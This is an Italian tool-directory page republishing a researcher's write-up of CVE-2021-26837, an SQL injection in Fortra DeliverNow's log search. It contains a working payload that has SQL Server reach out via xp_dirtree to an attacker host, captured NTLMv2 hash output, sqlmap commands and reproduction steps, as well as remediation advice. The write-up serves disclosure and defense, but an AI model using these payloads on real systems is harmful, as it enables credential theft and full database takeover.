Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-26837 — CVE-2021-26837 - SQL Injection nel parametro SearchTextbox di HelpSystems/Fortra DeliverNow. Payload, richieste annotate ed evidenze. Corretto nella versione 1.2.18. | Kitploit
Strumenti/GitHubGitHub/l0lsec/cve-2021-26837
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPenetration Testing
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - SQL Injection nel parametro SearchTextbox di HelpSystems/Fortra DeliverNow. Payload, richieste annotate ed evidenze. Corretto nella versione 1.2.18.

Vedi Repository
41 mese faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-26837

Iniezione SQL in HelpSystems / Fortra DeliverNow

Il parametro SearchTextbox nella pagina di ricerca log di DeliverNow (/LogGrid.aspx) viene concatenato direttamente in una query SQL Server senza parametrizzazione e senza validazione lato server. L'applicazione mostrava inoltre gli errori del parser di SQL Server risultanti direttamente all'utente, ed è così che il bug si è manifestato.

La connessione al database girava come sa, quindi l'iniezione ha ereditato pieni privilegi sysadmin sull'istanza. Questo è bastato a chiamare master.dbo.xp_dirtree verso un percorso UNC controllato dall'attaccante e a costringere l'account di servizio di SQL Server ad autenticarsi in uscita.

Trovata durante un penetration test interno. Corretta dal fornitore in DeliverNow 1.2.18 e pubblicata come CVE-2021-26837.

Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.


Riepilogo

CVECVE-2021-26837
ProdottoDeliverNow (HelpSystems, ora Fortra)
Versione interessataprecedente alla 1.2.18 (l'avviso originale elencava la 1.2.18 e versioni precedenti)
DebolezzaCWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (ricercatore)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Pubblicata2023-09-19
Testata suWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

Descrizione NVD:

La vulnerabilità di iniezione SQL nel parametro SearchTextBox in Fortra (ex HelpSystems) DeliverNow precedente alla versione 1.2.18 consente agli attaccanti di eseguire codice arbitrario, aumentare i privilegi e ottenere informazioni sensibili.

Dettaglio tecnico

Punto di iniezione

POST /LogGrid.aspx, parametro del corpo SearchTextbox. Il modulo è il controllo di ricerca nella vista Log dell'applicazione. ddlFieldName seleziona la colonna da cercare (Description nelle richieste seguenti) e SearchTextbox contiene il termine.

Un semplice apostrofo è sufficiente a dimostrarlo:

root@kitploit:~
blah'

La risposta mostra l'errore del parser di SQL Server direttamente nella pagina:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Ricerca dei log che restituisce un errore di virgoletta non chiusa

La divulgazione di quell'errore è di per sé un finding. Trasforma quella che altrimenti sarebbe un'iniezione cieca in un'iniezione completamente interattiva.

Conferma out-of-band tramite xp_dirtree

Poiché la connessione gira come sa, master.dbo.xp_dirtree è raggiungibile. Puntandolo a un percorso UNC su un host che controlli, l'account di servizio di SQL Server si autentica in uscita verso quell'host tramite SMB:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Il payload nel campo di ricerca

Richiesta completa in poc/exploited-request.http, payload in poc/payloads.sql.

La richiesta HTTP sfruttata

Autenticazione catturata

Con smbserver.py di Impacket in ascolto, l'account di servizio di SQL Server del target si autentica e rilascia un hash NTLMv2:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Autenticazione forzata catturata con Impacket

L'hash è quindi disponibile per il cracking offline o per il relay NTLM verso un altro host.

Contesto dei privilegi

sqlmap conferma l'iniezione e il livello di privilegio:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

Enumerazione sqlmap che mostra l'utente corrente sa

sa significa che ogni hash di login sull'istanza è leggibile e xp_cmdshell è a una sola chiamata sp_configure dall'esecuzione di comandi sull'host.

Riproduzione

Contro un'istanza di laboratorio di tua proprietà o per cui sei autorizzato a testare:

  1. Vai all'interfaccia web di DeliverNow (predefinita http://<host>:1080/) e apri Log.
  2. Inserisci blah' nel campo di ricerca e invia. Una build vulnerabile mostra l'errore del parser di SQL Server nella pagina.
  3. Avvia un listener su un host raggiungibile dal target:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Invia il payload xp_dirtree da poc/payloads.sql sostituendo il tuo IP. Una build vulnerabile produce un'autenticazione SMB in ingresso dall'account di servizio di SQL Server.
  5. Facoltativamente, conferma con sqlmap usando la richiesta salvata:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Contenuto del repository

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Gli host e gli hash nelle catture provengono dall'incarico originale e non sono più validi da tempo. Sostituisci il tuo indirizzo di listener quando riproduci.

Rimedi

  1. Usa query parametrizzate / prepared statement per ogni query costruita a partire da input utente. Questa è la vera correzione. Tutto il resto è difesa in profondità.
  2. Valida e igienizza lato server. Il corpo della POST è interamente controllato dall'attaccante, indipendentemente da ciò che il modulo lato client consente.
  3. Smetti di connetterti come sa. L'applicazione ha bisogno di accesso in lettura e scrittura alle proprie tabelle. Non ha bisogno di sysadmin, e non ha bisogno di xp_dirtree. Il principio del minimo privilegio non avrebbe prevenuto l'iniezione ma l'avrebbe contenuta.
  4. Non mostrare gli errori del database agli utenti. Registrali lato server e restituisci un messaggio generico.
  5. Limita la SMB in uscita dai server di database al perimetro di rete, il che elimina il canale out-of-band usato qui.

Corretta dal fornitore in DeliverNow 1.2.18. Aggiorna.

Cronologia

DataEvento
2021Trovata durante un penetration test interno e segnalata a HelpSystems
2021Corretta in DeliverNow 1.2.18
2023-09-19CVE-2021-26837 pubblicata su NVD, valutata 9.8 Critico

Resoconti

  • Resoconto personale: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Dichiarazione di non responsabilità

Pubblicata dopo la correzione da parte del fornitore, a scopo difensivo ed educativo. I payload qui presenti prendono di mira una versione corretta anni fa. Non eseguirli contro sistemi che non possiedi o per cui non hai un'autorizzazione scritta a testare.

Scarica lo strumento